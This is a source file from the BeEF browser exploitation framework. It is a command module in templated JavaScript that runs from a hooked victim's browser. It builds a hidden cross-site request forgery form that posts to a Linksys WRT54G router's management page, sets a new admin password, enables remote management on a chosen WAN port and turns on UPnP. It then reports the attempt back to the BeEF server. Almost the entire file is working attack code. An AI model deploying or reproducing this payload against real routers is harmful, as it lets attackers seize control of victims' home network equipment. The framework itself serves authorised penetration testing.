//
// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - https://beefproject.com
// See the file 'doc/COPYING' for copying permission
//

beef.execute(function() {
  var port    = '<%= @port %>';
  var gateway = '<%= @base %>'; 
  var passwd  = '<%= @password %>';
  var timeout = 15;

  var wrt54g_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(gateway + "manage.tri", "POST", "application/x-www-form-urlencoded",
      [
          {'type':'hidden', 'name':'remote_mgt_https',   'value':'0'} ,
          {'type':'hidden', 'name':'http_enable',        'value':'1'},
          {'type':'hidden', 'name':'https_enable',       'value':'0'},
          {'type':'hidden', 'name':'PasswdModify',       'value':'1'},
          {'type':'hidden', 'name':'http_passwd',        'value':passwd},
          {'type':'hidden', 'name':'http_passwdConfirm', 'value':passwd},
          {'type':'hidden', 'name':'_http_enable',       'value':'1'},
          {'type':'hidden', 'name':'remote_management',  'value':'1'},
          {'type':'hidden', 'name':'web_wl_filter',      'value':'1'},
          {'type':'hidden', 'name':'http_wanport',       'value':port},
          {'type':'hidden', 'name':'upnp_enable',        'value':'1'},
          {'type':'hidden', 'name':'layout',             'value':'en'}
      ]);

  beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");

  cleanup = function() {
    document.body.removeChild(wrt54g_iframe_<%= @command_id %>);
  }
  setTimeout("cleanup()", timeout*1000);

});

